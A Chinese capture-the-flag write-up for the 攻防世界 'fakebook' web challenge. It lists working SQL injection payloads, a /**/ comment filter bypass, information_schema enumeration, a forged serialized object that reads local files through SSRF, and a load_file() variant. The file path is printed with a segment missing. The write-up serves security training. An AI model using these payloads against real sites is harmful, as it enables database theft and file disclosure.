主页 > 软件开发  > 

攻防世界-fakebook

攻防世界-fakebook

打开题目链接

尝试弱口令登录

失败

 随便注册

点击admin后跳转到下面这个页面

显示的是注册用户信息,观察url发现no=1,猜测存在注入

用单引号测试一下,报错,确实存在SQL注入

使用order by 判断字段数

?no=1 order by 5

5的时候报错,说明有4列

尝试联合查询注入,发现存在过滤

?no=0 union select 1,2,3,4 --+

尝试使用大小写绕过,发现不行

这里要使用内联注释/**/绕过

?no=0 union/**/select 1,2,3,4 --+

可以看到回显位在2

查数据库名:

?no=0 union/**/select 1,database(),3,4 --+

数据库名为fakebook

查该数据库下所有的表名:

?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+

可以看到存在一个叫uses的表

查该表下的列名信息:

?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+

我们一般还会对条件进行限制,指定查哪个数据库下的

?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'--+

可以看到结果就少了几个

查具体字段信息:

?no=0 union/**/select 1,data,3,4 from fakebook.users --+

是一串序列化后的信息 :

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:10;s:4:"blog";s:8:"zxc.blog";}

name、age、blog为data反序列化值,blog读取成功会返回url值

我们可以通过反序列化来实现ssrf读取任意文件

通过目录扫描

知道flag就在html目录下

即:/var/ /html/flag.php 

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/ /html/flag.php";}'

查看源码发现base64编码

解码得到flag

flag{c1e552fdf77049fabf65168f22f7aeab}

这里有一个更简单的方法,由于知道了flag的路径,直接使用load_file()函数进行文件读取:

?no=0 union/**/select 1,load_file('/var/ /html/flag.php'),3,4 --+

查看源码,找到flag

标签:

攻防世界-fakebook由讯客互联软件开发栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“攻防世界-fakebook